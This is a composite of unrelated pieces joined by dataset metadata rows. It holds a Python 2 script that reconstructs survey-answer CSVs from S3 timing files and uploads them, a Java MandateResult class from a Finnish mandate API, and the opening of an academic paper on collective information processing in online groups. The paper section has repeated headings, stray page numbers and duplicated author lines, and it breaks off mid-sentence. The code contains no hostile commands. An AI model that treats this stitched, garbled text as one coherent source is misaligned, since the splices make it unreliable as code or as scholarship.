"everything_answered":"all questions answered,",
"all_missing_recovered":"all missing questions recovered,",
"no_extra_questions":"no extra questions.",
"1_not_2_resolved":"all questions present in survey 1 but not in 2, resolved.",
"2_not_1_resolved":"all questions present in survey 2 but not in 1, resolved.",
"extra_1_resolved":"survey 1 would have had extra questions, resolved.",
"extra_2_resolved":"survey 2 would have had extra questions, resolved.",
"reordered_questions":"there were no missing or extra questions for either survey "
"this means question order was changed, and it is resolved. ",
"no_extra_1":"but survey 1 has no extra questions, resolved.",
"no_extra_2":"but survey 2 has no extra questions, resolved.",
}
bad_messages = {
"has_no_submit":"this file did not contain a submission button press",
"extra_questions":"encountered extra questions in answers",
"only_header":"this file consisted only of a header",
"no_mappings":"survey was changed and there were answers provided that did not map "
"to _either_ survey. Could not resolve.",
"not_enough_answers":"survey was changed and user did not answer enough questions "
"to determine which survey. Could not resolve.",
}
other_messages = {
"2_potential":"There are two potential surveys for this question...",
"both_missing":"both surveys have missing answers...",
"no_survey_1":"unable to find survey.", #may still be recovered in live survey
"no_survey_2":"could not find a survey in survey history"
}
def conditionally_setup_debug_stuff():
global_vars = globals( )
if 'debug_files' not in global_vars:
debug_files = [f for f in get_all_timings_files() if "55d3826297013e3a1c9b8c3e" in f]
else: debug_files = global_vars['debug_files']
if "debug_file_data" not in global_vars:
debug_file_data = get_data_for_raw_file_paths( debug_files )
else: debug_file_data = global_vars['debug_file_data ']
return debug_files, debug_file_data
def conditionally_setup_fo_realzies_stuff():
global_vars = globals( )
if 'all_files' not in global_vars:
all_files = get_all_timings_files()
else: all_files = global_vars['all_files']
if "all_file_data" not in global_vars:
all_file_data = get_data_for_raw_file_paths( all_files )
else: all_file_data = global_vars['all_file_data']
return all_files, all_file_data
############################### Administrative functions ###############################
def debug(old_surveys=None, ignore_unsubmitted=True):
debug_files, debug_data_files = conditionally_setup_debug_stuff()
# uuids = get_uuids(debug_data_files)
stuff = do_run( debug_data_files, old_surveys=old_surveys, ignore_unsubmitted=True )
return stuff
# def fo_realzies( old_surveys=None, ignore_unsubmitted=True ):
# all_files, all_file_data = conditionally_setup_fo_realzies_stuff()
# # uuids = get_uuids( all_file_data )
# stuff = do_run( all_file_data, old_surveys=old_surveys, ignore_unsubmitted=True )
# return stuff
def do_run(file_paths_and_contents, old_surveys=None, ignore_unsubmitted=True):
if old_surveys == None: raise Exception( "OLD SURVEYS NOT PRESENT" )
ret = {}
for data, fp in file_paths_and_contents:
study, timecode, csv, status_update = construct_answers_csv( data, fp,
old_surveys=old_surveys,
ignore_unsubmitted=ignore_unsubmitted)
# if study and timecode and csv: #drop any return where a value is None
ret[fp] = status_update
return ret
def get_resolvable_survey_timings(from_do_run):
ret = {}
for k, v in from_do_run.items():
for m in bad_messages.values():
if m in v: break
if m not in v:
ret[k] = v
return ret
def do_actually_run(file_paths, old_surveys=None):
if old_surveys == None: raise Exception("OLD SURVEYS NOT PRESENT")
file_paths_and_contents = get_data_for_raw_file_paths(file_paths)
ret = {}
for data, fp in file_paths_and_contents:
study, timecode, csv, status_update = construct_answers_csv( data, fp,
old_surveys=old_surveys)
# if study and timecode and csv: #drop any return where a value is None
ret[fp] = csv,timecode
return ret
def do_upload(file_paths_and_contents, data_type=None, forcibly_overwrite=False):
if data_type == None: raise Exception("DATA TYPE!")
upload_stream_map = { "survey_answers":("surveyAnswers", "csv"),
"audio":("voiceRecording", "mp4") }
data_stream_string, file_extension = upload_stream_map[data_type]
for timings_path, contents_and_timestamp in file_paths_and_contents.items():
contents, timestamp = contents_and_timestamp
study_id_string, user_id, _, survey_id, _ = timings_path.split("/")
try:
timestamp_string = str( int( mktime( timestamp.timetuple( ) ) ) ) + "000"
except AttributeError:
print "PROBLEM WITH TIMESTAMP FROM: %s" % timings_path
continue
if len(timestamp_string) != 13:
raise Exception("LOL! No.")
study_obj_id = Study(ObjectId(study_id_string))._id
s3_file_path = "%s/%s/%s/%s/%s.%s" % (study_id_string,
user_id,
data_stream_string,
survey_id,
timestamp_string,
file_extension)
if len(s3_list_files(s3_file_path)) != 0:
print "ALREADY_EXISTS: %s, %s" % (timings_path, s3_file_path)
if forcibly_overwrite == False:
continue
else: print "yay!: ", s3_file_path
contents = contents.encode("utf8") #maybe make this unicode-16?
s3_upload(s3_file_path, contents, study_obj_id, raw_path=True)
FileToProcess.append_file_for_processing( s3_file_path, study_obj_id, user_id )
def get_all_timings_files( ):
# get users associated with studies
study_users = { str( s._id ):Users( study_id=s._id, field='_id' ) for s in
Studies( ) }
all_user_timings = []
for sid, users in study_users.items( ): # construct prefixes
all_user_timings.extend(
[sid + "/" + u + "/" + "surveyTimings" for u in users] )
# use a threadpool to efficiently get all those strings of s3 paths we
# will need
pool = ThreadPool( len( all_user_timings ) )
try:
files_lists = pool.map( s3_list_files, all_user_timings )
except Exception:
raise
finally:
pool.close( )
pool.terminate( )
files_list = []
for l in files_lists: files_list.extend( l )
# we need to purge the occasional pre-multistudy file, and ensure it is utf encoded.
return [f.decode( "utf8" ) for f in files_list if f.count( '/' ) == 4]
def get_data_for_raw_file_paths( timings_files ):
# Pulls in (timings) files from s3
pool = ThreadPool( 50 )
def batch_retrieve( parameters ): # need to handle parameters, ensure unicode
return s3_retrieve( *parameters, raw_path=True ).decode( "utf8" ), \
parameters[0]
params = [(f, ObjectId( f.split( "/", 1 )[0] )) for f in timings_files]
try:
data = pool.map( batch_retrieve, params )
except Exception:
raise
finally:
pool.close( )
pool.terminate( )
return data
def get_file_paths_for_studies(list_of_study_id_strings):
# get users associated with studies
study_users = { s:Users(study_id=ObjectId(s), field="_id") for s in
list_of_study_id_strings }
all_user_timings = []
for sid, users in study_users.items( ): # construct prefixes
all_user_timings.extend(
[sid + "/" + u + "/" + "surveyTimings" for u in users] )
# use a threadpool to efficiently get all those strings of s3 paths we
# will need
pool = ThreadPool( len( all_user_timings ) )
try:
files_lists = pool.map( s3_list_files, all_user_timings )
except Exception:
raise
finally:
pool.close( )
pool.terminate( )
files_list = []
for l in files_lists: files_list.extend( l )
# we need to purge the occasional pre-multistudy file, and ensure it is utf encoded.
return [f.decode( "utf8" ) for f in files_list if f.count( '/' ) == 4]
def remove_files_that_are_after_the_data_loss(file_list):
#the server is in utc time, this will be a utc datetime object
datetime_of_data_loss = datetime(year=2016,month=4,day=8, hour=22)
ret = []
for f in file_list:
unix_timestamp_int = int(f.split("/")[-1][:-4]) / 1000
if datetime.utcfromtimestamp(unix_timestamp_int) < datetime_of_data_loss:
ret.append(f)
return ret
def do_everything(list_of_files):
print "getting files"
list_of_files = remove_files_that_are_after_the_data_loss( list_of_files )
# info = do_run( files, old_surveys=old_surveys)
data = do_actually_run(list_of_files, old_surveys=old_surveys)
do_upload(data, data_type="survey_answers", forcibly_overwrite=False)
################################# Data Reconstruction ##################################
def construct_answers_csv(timings_csv_contents, full_s3_path, old_surveys=None,
ignore_unsubmitted=True):
#setup vars
survey_id_string = full_s3_path.split("/")[3]
study_id_string = full_s3_path.split("/",1)[0]
status = []
questions_answered, submission_time = parse_timings_file( timings_csv_contents,
status=status )
if submission_time is None and ignore_unsubmitted:
status.append(bad_messages["has_no_submit"])
return None, None, None, status
# we only really want to create answers files that would have been written
# to a surveyanswers files, by default no false submissions
# output_filename = submission_time.strftime('%Y-%m-%d %H_%M_%S') + ".csv"
rows = ['question id,question type,question text,question answer options,answer']
for question in sort_and_reconstruct_questions(questions_answered,
survey_id_string,
old_surveys=old_surveys,
submit_time=submission_time,
status=status):
rows.append(",".join([question['question_id'], # construct row
question['question_type'],
question['question_text'],
question['question_answer_options'],
question['answer'] ] ) )
if len(rows) == 1: #drop anything that consists of only the header
status.append(bad_messages["only_header"])
return None, None, None, status
return study_id_string, submission_time, "\n".join(rows), status
def sort_and_reconstruct_questions(questions_answered_dict, survey_id_string,
old_surveys=None, submit_time=None, status=None):
question_answers = []
try: survey_questions = get_questions_from_survey(survey_id_string,
old_surveys=old_surveys,
submit_time=submit_time,
status=status)
except UnableToFindSurveyError:
status.append(other_messages["no_survey_1"])
return question_answers
#there is a corner case where a survey can have multiple source surveys:
try:
if not isinstance( survey_questions, tuple ):
survey_questions = corral_question_ids( questions_answered_dict,
survey_questions, status=status )
else: survey_questions = corral_question_ids( questions_answered_dict,
survey_questions[0], survey_questions[1], status=status)
except UnableToReconcileError: return question_answers
# now we reconstruct any unanswered questions using that survey.
for survey_question in survey_questions:
if survey_question['question_id'] in questions_answered_dict:
question = questions_answered_dict[survey_question['question_id']]
question['question_id'] = survey_question['question_id']
question_answers.append(question)
else: question_answers.append( reconstruct_unanswered_question(
survey_question, status=status) )
return question_answers
def corral_question_ids(questions_answered_dict, source_a, source_b=None, status=None):
if len(questions_answered_dict) == 0:
status.append(good_messages["no_answers"])
timings_q_ids = questions_answered_dict.keys()
q_ids_a = [q["question_id"] for q in source_a]
missing_q_ids_a, extra_q_ids_a = compare_survey_questions_to_source(
timings_q_ids, q_ids_a )
if source_b is None:
if not missing_q_ids_a: status.append(good_messages["everything_answered"])
else: status.append( good_messages["all_missing_recovered"] )
if not extra_q_ids_a: status.append( good_messages["no_extra_questions"])
else:
status.append(bad_messages["extra_questions"])
status.append(extra_q_ids_a)
return source_a
status.append(other_messages["2_potential"])
# else: we were handed 2 surveys and need to compare what we received.
q_ids_b = [q["question_id"] for q in source_b]
missing_q_ids_b, extra_q_ids_b = compare_survey_questions_to_source(
timings_q_ids, q_ids_b )
#case: if everything is present in one but not the other, use that.
#If missing questions in A but no missing questions in B, and there are no extras
# in B, return B
if missing_q_ids_a and not missing_q_ids_b:
if not extra_q_ids_b:
status.append( good_messages["1_not_2_resolved"] )
return source_b
else: raise Exception( "A) extra questions." ) #yay never happens.
#If missing questions in B but no missing questions in A, and there are no extras
# in A, return A
if not missing_q_ids_a and missing_q_ids_b:
if not extra_q_ids_a:
status.append( good_messages["2_not_1_resolved"] )
return source_a
else: raise Exception( "B) extra questions." ) #yay never happens.
#case: someone added new questions, and then in that instance when the survey
# had been updated the person answered only some of the questions.
#if both are empty, check the extras, return the one that has zero extras
if not missing_q_ids_a and not missing_q_ids_b:
if not extra_q_ids_a and extra_q_ids_b:
status.append( good_messages["extra_2_resolved"])
return source_a
if not extra_q_ids_b and extra_q_ids_a:
status.append( good_messages["extra_1_resolved"])
return source_b
if not missing_q_ids_a and not extra_q_ids_a and not missing_q_ids_b and not extra_q_ids_b:
status.append( good_messages["reordered_questions"] )
if len(source_a) > len(source_b): return source_a
else: return source_b
if missing_q_ids_b and missing_q_ids_b:
status.append(other_messages["both_missing"])
if not extra_q_ids_a and extra_q_ids_b:
status.append(good_messages["no_extra_1"])
return source_a
if not extra_q_ids_b and extra_q_ids_a:
status.append(good_messages["no_extra_2"])
return source_b
if extra_q_ids_b and extra_q_ids_a:
status.append(bad_messages["no_mappings"])
raise UnableToReconcileError( )
if not extra_q_ids_b and not extra_q_ids_a:
status.append(bad_messages["not_enough_answers"])
raise UnableToReconcileError()
raise Exception("Unreachable code")
def compare_survey_questions_to_source(timing_questions, survey_questions, status=None):
""" Provides the missing and extra questions from the provided answers with
regards to the provided survey questions. """
missing_q_ids = [q_id for q_id in survey_questions if q_id not in timing_questions]
extra_q_ids = [q_id for q_id in timing_questions if q_id not in survey_questions]
return missing_q_ids, extra_q_ids
def get_questions_from_survey(survey_id_string, old_surveys=None, submit_time=None,
status=None):
survey_objid = ObjectId(survey_id_string)
#TODO: can we propagate up two mismatched survey questions?
if old_surveys:
status.append(submit_time)
try:
return old_surveys.get_closest_survey_from_datetime(submit_time,
survey_id_string,
status=status)
except (UnableToFindSurveyError, ItemTooLateException):
#in both of these cases we want to pull from the most current survey,
# in teh case of unabletofind this is a hail mary, in the case of itemtoolate
# we want a time later than our survey backups provides.
pass
try:
# return [question for question in recursive_convert_to_unicode(Survey(survey_objid)["content"])
return [question for question in Survey( survey_objid )["content"]
if question['question_type'] != 'info_text_box' ]
except NonexistentObjectError:
raise UnableToFindSurveyError
def reconstruct_unanswered_question(survey_question, status=None):
"""Does what it says"""
question = {}
question['question_id'] = survey_question['question_id']
question['question_type'] = question_type_map[survey_question['question_type']]
question['question_text'] = survey_question['question_text']
question['question_answer_options'] = reconstruct_answer_options(survey_question)
question['answer'] = "NO_ANSWER_SELECTED"
return question
def reconstruct_answer_options(question, status=None):
""" reconstructs the answer option portion of the questions to a hash-identical
format to what would have been on the survey answers. """
if 'max' in question and 'min' in question:
return "min = " + question['min'] + "; max = " + question['max']
elif 'text_field_type' in question:
return "Text-field input type = " + question['text_field_type']
elif 'answers' in question:
answers = [ unicode(answer['text']) for answer in question['answers'] ]
answer_string = "["
for answer in answers: answer_string += answer + "; "
return answer_string[:-2] + "]"
return ""
################################## Data Parsing ######################################
def parse_timings_file( timings_csv_contents, status=None ):
""" parses the timings file for question text and answers to questions.
returns a tuple of questions and associated answers, and, submission time. """
questions_answered = {}
# first_displayed_time = None
submit_time = None
csv = csv_to_list(timings_csv_contents)
for row in csv:
if len(row) >= 5: #this row has question text and user answer
question_id = row[1] #use the question id, thus overwriting updated answers.
questions_answered[question_id] = {
'question_type': row[2],
'question_text': row[3],
'question_answer_options': row[4],
'answer': row[5] if len(row) > 5 else "" }
#ended up not using the following
# elif row[1] == "Survey first rendered and displayed to user":
# # potentially useful timestamp
# first_displayed_time = datetime.utcfromtimestamp(int(row[0])/1000.0)
elif row[1] == "User hit submit":
# used as file creation timestamp.
submit_time = datetime.utcfromtimestamp(int(row[0])/1000.0)
return questions_answered, submit_time
def csv_to_list(csv_string):
""" turns a csv string into a list (drops the header, we don't use it)."""
lines = [ line for line in csv_string.splitlines() ]
return [row.split(",") for row in lines[1:]]
##################################################################################
# This is the UUID generation code, it simply runs through all the provided survey
# timings and extracts ALL question IDs and question texts.
# This code and data is almost totally useless.
def get_answers_text(timings_csv_contents):
questions = { }
csv = csv_to_list( timings_csv_contents )
for row in csv:
if len( row ) >= 5:
question_id = row[1]
questions[question_id] = { 'question_type':row[2],
'question_text':row[3],
'question_answer_options':row[4] }
return questions
def handle_unicode_fixes(thing_a, thing_b):
#these are the result of manual fixes to a database entry, we want the ascii
# strings.
correct_value = None
try: recursive_convert_ascii( thing_a )
except UnicodeEncodeError: correct_value = thing_b
try: recursive_convert_ascii( thing_b )
except UnicodeEncodeError:
if correct_value is not None:
raise Exception( "this error means there is not a unicode error" )
correct_value = thing_a
return correct_value
def get_uuids(file_paths_and_contents = None):
if not file_paths_and_contents:
files = get_all_timings_files( )
file_paths_and_contents = [f for f in files if "55d3826297013e3a1c9b8c3e" in f]
return do_get_uuids( file_paths_and_contents )
def do_get_uuids(file_paths_and_contents):
uuids = {}
for data, _ in file_paths_and_contents:
new_uuids = get_answers_text( data )
for uuid, content in new_uuids.items():
if uuid in uuids and uuids[uuid] != content:
handle_unicode_fixes(uuids[uuid], content)
uuids.update(new_uuids)
return uuids
def recursive_convert_ascii(data):
#checks all nested elements for decode ascii compatibility, also returns an ascii
# version of the data...
if isinstance(data, basestring):
return data.decode("ascii")
elif isinstance(data, collections.Mapping):
return dict(map(recursive_convert_ascii, data.iteritems()))
elif isinstance(data, collections.Iterable):
return type(data)(map(recursive_convert_ascii, data))
else:
return data
############################## Data Acquisition ##################################
def unconditionally_setup_old_survey():
old_surveys = OldSurveys( )
old_surveys.__innit__( )
return old_surveys
# Old surveys. This is pulled in from a pickled load of all the survey db backups,
# the get_survey_bson_data_from_pickle function
class OldSurveys():
surveys = {}
keys = []
def __innit__(self):
self.surveys = OldSurveys.get_survey_bson_data_from_pickle()
self.keys = sorted( self.surveys.keys() )
self.keys_reverse = sorted( self.surveys.keys(), reverse=True )
def _get_closest(self, some_item):
if not self.keys: raise NoBackupSurveysException()
previous = self.keys[0]
for element in self.keys:
if element > some_item: break
previous = element
if element == previous: #item provided comes before first item in list.
# the best we can do is hope it is all in the earliest set of questions
# that we have.
return element, previous
if element == self.keys[-1]: #item provided comes after last item in list.
raise ItemTooLateException()
return element, previous
def _extaustive_reverse_lookup(self, day):
#gets the closest day temporally before our target day.... if this ever happens
#something is wrong with our source data....
for d in self.keys_reverse:
if d > day: continue #skip future days, those will never have it
else: break #find closest day before, use that data
return d #default is to retrn oldest data...
@classmethod
def _extract_questions(cls, survey):
return [question for question in survey["content"] if question['question_type']
!= 'info_text_box' ]
def get_closest_survey_from_datetime(self, dt, survey_id, status=None):
""" Searches through the backups for the best survey we have on file to
reconstruct everything from. """
# provide a datetime directly, get closest day
search_d = datetime.date(dt) + timedelta(days=1)
#day_before is the surveys the closest day before,
# day_after is the surveys from end of THAT day.
day_before, day_after = self._get_closest(search_d)
# except ItemTooLateException:
# print "GOOD NEWS: this survey is almost definitely fully recoverable."
# raise
# # except ItemTooEarlyException:
# return None
before_surveys = { str(s['_id']):s for s in self.surveys[day_before] }
after_surveys = { str(s['_id']):s for s in self.surveys[day_after] }
# print 'survey_id=', survey_id
# print "before_surveys=", before_surveys.keys()
# print "after_surveys=", after_surveys.keys()
questions_before = None
questions_after = None
if survey_id in before_surveys:
questions_before = old_surveys._extract_questions( before_surveys[survey_id] )
if survey_id in after_surveys:
questions_after = old_surveys._extract_questions( after_surveys[survey_id] )
if questions_after is None and questions_before is None:
#it is acceptable for an empty list to be returned for the questions texts,
# we check explicitly for None
closest_surveys = { str(s['_id']):s for s in self.surveys[
self._extaustive_reverse_lookup(search_d) ] }
try: return old_surveys._extract_questions( closest_surveys[survey_id] )
except KeyError:
status.append(other_messages["no_survey_2"])
raise UnableToFindSurveyError()
if questions_after is None and questions_before is not None: return questions_before
if questions_after is not None and questions_before is None: return questions_after
if questions_after is not None and questions_before is not None:
if questions_after == questions_before: return questions_before
else: return questions_before, questions_after
raise Exception("unreachable code? hunh?")
@classmethod
def get_survey_bson_data_from_pickle(cls):
#does the read-in and transforms the date keys.
os.chdir( "/home/ubuntu" )
print "getting pickle...",
with open( "bson_data.pickle" ) as f:
data = cPickle.load( f )
print "tickling pickle..."
for key in data.keys( ):
data[datetime.date(
datetime.strptime( key, "%Y-%m-%d_%H-%M" ) )] = data.pop(key)
return data
# old_surveys = conditionally_setup_old_surveys()
# print isinstance(old_surveys, OldSurveys)
# if not isinstance(old_surveys, OldSurveys):
print "you are almost there..."
old_surveys = unconditionally_setup_old_survey()
# print isinstance(old_surveys, OldSurveys)
--
# x,y = debug(old_surveys=old_surveys)
# all_files, all_file_data = conditionally_setup_fo_realzies_stuff()
# x = fo_realzies(old_surveys=old_surveys)
# x = debug(old_surveys=old_surveys) | 10,989 |
https://github.com/vrk-kpa/roles-auths-engine-api/blob/master/src/main/java/fi/vm/kapa/rova/vare/model/MandateResult.java | Github Open Source | Open Source | MIT | null | roles-auths-engine-api | vrk-kpa | Java | Code | 458 | 1,209 | /**
* The MIT License
* Copyright (c) 2016 Population Register Centre
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package fi.vm.kapa.rova.vare.model;
import com.fasterxml.jackson.databind.annotation.JsonSerialize;
import fi.vm.kapa.rova.external.model.ReasonSerializer;
import java.util.Collections;
import java.util.List;
public class MandateResult {
public static final String REASON_NAME_SSN_MISMATCH = "NAME_SSN_MISMATCH";
public static final String REASON_DELEGATE_CANNOT_RECEIVE_MANDATE = "DELEGATE_CANNOT_RECEIVE_MANDATE";
public static final String REASON_PRINCIPAL_NOT_COMPETENT = "PRINCIPAL_NOT_COMPETENT";
public static final String REASON_DELEGATE_NOT_COMPETENT = "DELEGATE_NOT_COMPETENT";
public static final String REASON_GENERIC = "MANDATE_NOT_ALLOWED";
public static final String REASON_END_USER_NOT_AUTHORIZED_REPRESENT_PRINCIPAL = "END_USER_NOT_AUTHORIZED_REPRESENT_PRINCIPAL";
public static final String REASON_MANDATE_ALREADY_CONFIRMED = "MANDATE_ALREADY_CONFIRMED";
public static final String REASON_BAD_REQUEST = "BAD_REQUEST";
private boolean success;
@JsonSerialize(using=ReasonSerializer.class)
private String reason;
private String uuid;
private String uri;
private MandateDTO targetMandate;
private List<MandateDTO> mandatesThatWillBeReplaced = Collections.emptyList();
public MandateResult() {
// NOP
}
public MandateResult(boolean success, String reason, String uuid, String uri) {
this.success= success;
this.reason = reason;
this.uuid = uuid;
this.uri = uri;
}
public MandateResult(boolean success, String reason, String uuid, String uri,
List<MandateDTO> mandatesThatWillBeReplaced) {
this(success, reason, uuid, uri);
this.mandatesThatWillBeReplaced = mandatesThatWillBeReplaced;
}
public boolean isSuccess() {
return success;
}
public void setSuccess(boolean success) {
this.success = success;
}
public String getUuid() {
return uuid;
}
public void setUuid(String uuid) {
this.uuid = uuid;
}
public String getReason() {
return reason;
}
public void setReason(String reason) {
this.reason = reason;
}
public String getUri() {
return uri;
}
public void setUri(String uri) {
this.uri = uri;
}
public List<MandateDTO> getMandatesThatWillBeReplaced() {
return mandatesThatWillBeReplaced;
}
public void setMandatesThatWillBeReplaced(List<MandateDTO> mandatesThatWillBeReplaced) {
this.mandatesThatWillBeReplaced = mandatesThatWillBeReplaced;
}
@Override
public String toString() {
return "MandateResult [success=" + success + ", reason=" + reason
+ ", uuid=" + uuid + ", uri=" + uri + ", targetMandate="+targetMandate+"]";
}
public MandateDTO getTargetMandate() {
return targetMandate;
}
public void setTargetMandate(MandateDTO targetMandate) {
this.targetMandate = targetMandate;
}
}
| 8,729 |
https://openalex.org/W4312814082 | OpenAlex | Open Science | CC-By | 2,022 | How Does the Internet Change Group Processes? | Johanna Schindler | English | Spoken | 8,191 | 14,504 | How Does the Internet Change Group Processes?
Applying the Model of Collective Information Processing (MCIP)
to Online Environments Johanna Schindler Abstract
h The internet seems to be a breeding ground for both negative and positive
social phenomena, e.g., not only radicalization and the spread of misinfor
mation but also social connection and knowledge gain. Although these
topics are inherently social, they are typically researched on the individual
level. This contribution develops a theoretical framework to explore them
on the group level, e.g., in e-communities, online social movements, or
online discussions. Drawing on concepts like social identity and the model
of collective information processing (MCIP), it adopts a collective informa
tion processing perspective on online group phenomena. Then it reviews
how different collective processing modes (automatic vs. systematic and
closed vs. open) can interact with the internet’s core technical possibilities
(participation, selectivity, interaction, interconnectedness, and automatiza
tion). Online spaces appear to work as a catalyst for any collective proces
sing mode; however, closed and open modes may raise the greatest risks
and opportunities for societies. This work may inspire new questions and
approaches for future research on social phenomena online. Digitalization has fundamentally changed the conditions of discourse. For
society, these changes seem to be both a blessing and a curse. On one
hand, they allow for an entirely new dimension of radicalization (e.g.,
Wojcieszak, 2010) and misinformation (e.g., Dan et al., 2021), amplifying
hate (e.g., Brown, 2018) and polarization (e.g., Neudert & Marchal, 2019). On the other, they offer more possibilities for social connection (e.g.,
Ruesch, 2013) and knowledge gain (e.g., Engel et al., 2014), paving the way
for new forms of empowerment (e.g., Brady et al., 2017) and deliberation
(e.g., Min, 2007). What all these phenomena have in common is that
they are inherently social. They usually refer to perceptions and behaviors
of groups or individuals as group members. Therefore, they can unfold 96 /
– /
– How Does the Internet Change Group Processes? their full potential only through the collaboration of individuals. In a
broader sense, they can be conceptualized as collective information pro
cesses and their outcomes (Hinsz et al., 1997; Schindler, in preparation). Yet, although human beings are specialized for group life, communication
studies—and social sciences in general—have traditionally focused on the
individual level (Brauner & Scholl, 2000; Poole et al., 2004). In the present
contribution, I explore the flip side of the coin and focus on processes at
the group level. Abstract
h From a group perspective, social habits that have evolved
over thousands of years under offline conditions collide with entirely new
technical possibilities online. A theoretical framework for the interaction
between collective information processing and the infrastructure of online
spaces might help us to understand what is unique about social phenome
na online. Thereby, it may serve as an inspiration and foundation for
future research. Although the present work focuses on the group level,
several of its assumptions might also apply to individual information pro
cessing online. Thus, this theoretical contribution seeks to conceptualize how online
environments shape collective information processing. For this purpose, I
extend the propositions of the model of collective information processing
(MCIP, Schindler, in preparation; for a first draft see Schindler & Bartsch,
2019) from small, face-to-face groups to large groups online. In doing so, I
link theoretical and empirical literature from multidisciplinary fields such
as social psychology, small-group research, communication studies, and
computer-supported cooperative work. My contribution begins with an
overview of the foundations of collective information processing (i.e., the
concepts of social identity, small groups as information processors, and
their application to large groups online). On this basis, I introduce four
basic modes of collective information processing based on the MCIP (i.e.,
automatic vs. systematic processing and closed vs. open processing). Next,
I summarize core technical possibilities of online environments (i.e., parti
cipation, selectivity, interaction, interconnectedness, and automatization)
based on Neuberger (2018). Drawing on these concepts, I then review how
each mode of collective information processing might interact with the
technical possibilities online. In the final sections, I discuss these insights
and outline their implications for future research and for society. The Foundations of Collective Information Processing The following sections address the key concepts relevant to collective in
formation processing. The first section introduces social identity (Tajfel 97 0.5771/978374
–
- Johanna Schindler & Turner, 1986) as a social psychological basis for group processes. The
second section deals with the conceptualization of small groups as infor
mation processors as introduced by Hinsz et al. (1997) and adopted by the
MCIP (Schindler, in preparation). In the third section, the idea of collec
tive information processors is applied to large groups in online settings. This perspective provides the foundation for grasping collective processes
on the internet. Small Groups as Information Processors Small Groups as Information Processors Small Groups as Information Processors The social orientation of human beings gives them special possibilities
for cooperation. Concerning small groups, Hinsz et al. (1997) developed
the concept of groups as information processors. Their comprehensive re
view of group research showed that collective and individual information
processing involves highly similar elements. As on the individual level, in
formation processing on the group level includes objectives, attention, en
coding, storage, retrieval, processing, responses, and feedback. To process
information collectively, however, groups need to fulfill two requirements. The first is that they need a basic amount of social sharedness, a concept re
ferring to the extent to which states and processes are shared among group
members. Social sharedness can, e.g., relate to information, attitudes, mo
tives, norms, identities, cognitive processes (Tindale & Kameda, 2000),
and plausibly also emotions (Smith, 1993; Smith et al., 2007; van Kleef
& Fischer, 2016). It is, therefore, strongly linked to the concept of social
identity (see above). The second requirement for collective information
processing is a combination of contributions and relates to how groups
(a) identify relevant contributions of group members and (b) combine
these contributions on the group level. Such contributions can include re
sources, skills, and knowledge. Their combination works via an interactive
process of aggregating, linking, or transforming (Hinsz et al., 1997). gg
g
g
g
g
Apart from structural commonalities, there are differences between
individual and collective information processing. Only group processes
are dependent on social sharedness and shaped by additional factors like
group norms, majorities, and leaders. From a group-level perspective, these
social influences are not confounders but part of the collective process. They allow the group to maintain its social identity and unity. Accordin
gly, they also benefit individual members as they depend on belonging to a
group (see above; Hogg et al., 2004; Tindale & Kameda, 2000). As a result,
groups tend to process information even more prototypically (i.e., accen
tuated and homogeneously) than individuals (Chalos & Pickard, 1985;
Hinsz et al., 1997, p. 50). The information processing perspective on groups has been adopted
by the MCIP to describe, explain, and predict the collective processing
of (media) information via different processing modes (Schindler, in pre
paration). Thus far, it has focused on small groups in face-to-face settings. However, it demonstrates that groups can be conceptualized as meaningful
information processing units in general. Social Identity For humankind, living in groups is existential. Belongingness is a basic hu
man need (Fiske, 2000), and human cognition is “truly social” (Caporael,
1997, p. 277) in that individual processes are closely knit to their social
environment. This background leads to the assumptions of social identity
theory (SIT) (Tajfel & Turner, 1986): According to SIT, humans perceive
not only others but also themselves through social categorization (Turner
et al., 1987). They can, thus, not only take on a personal identity (I vs. you)
but also a social identity as part of a social category or group (we vs. you). In this “we mode,” individuals internalize their group membership as part
of their self-concept and think as representatives of their ingroup. Through
the lens of social identity, ingroups and outgroups are prototypical con
structs accentuating differences between each other. Consequently, indivi
duals perceive personal characteristics of themselves and others as less
striking (depersonalization or stereotyping). Individuals can dynamically
switch between various personal and social identities depending on which
identity is salient in a specific situation. However, only one identity can be
present at any given moment (Hogg et al., 2004; Tindale & Kameda, 2000). There are two primary motivations behind social identity processes. The first is self-enhancement; humans strive for positive distinction, which
they can achieve by joining a group and comparing it positively to other
groups. The second motivation is uncertainty reduction. Social categoriza
tion helps reduce perceived uncertainty about the self and the social en
vironment (Hogg et al., 2004). gg
Originally, SIT referred to intergroup processes between large social
groups but was also applied to small groups later (Hogg et al., 2004). The
social identity perspective helps explain how people can become part of a
group and why they might adapt their perceptions and attitudes to align
with this group. 98 /
– – How Does the Internet Change Group Processes? How Does the Internet Change Group Processes? Small Groups as Information Processors In the following, this fundamen
tal idea will be transferred to larger groups in online settings. 99 99 Johanna Schindler Johanna Schindler Application to Large Groups Online Collective information processing traditionally occurs face-to-face in small
groups like families, friends, or co-workers. Such groups can, of course,
use online channels as well to process information collectively; however,
online spaces offer new possibilities for larger groups to engage in effici
ent collective information processing (see below for details). At the same
time, not every group phenomenon on the internet meets the relevant
criteria. Dolata and Schrape (2014) described online collective formations
from an actor-based social theory perspective, differentiating between non-
organized collectives (e.g., masses, crowds) and organized collectives (e.g.,
social movements, communities). Non-organized collectives may exhibit
social sharedness to a minor degree but cannot perform combinations of
contributions; their collective behavior can result only from an aggregate
of individual actions. Organized collectives, in contrast, share a social
identity, norms, or goals, which might generally enable them to act—or
process information—collectively via some form of social sharedness and a
combination of contributions (Dolata & Schrape, 2014). In the following,
the term “groups” refers to collectives with at least some type of social
sharedness performing at least some kind of combinations of contributi
ons. Thus, it includes not only tight-knit online communities but also, e.g.,
groups of random users with the shared motivation to discuss an issue in a
comments section. Empirical evidence shows that larger groups in online spaces can, inde
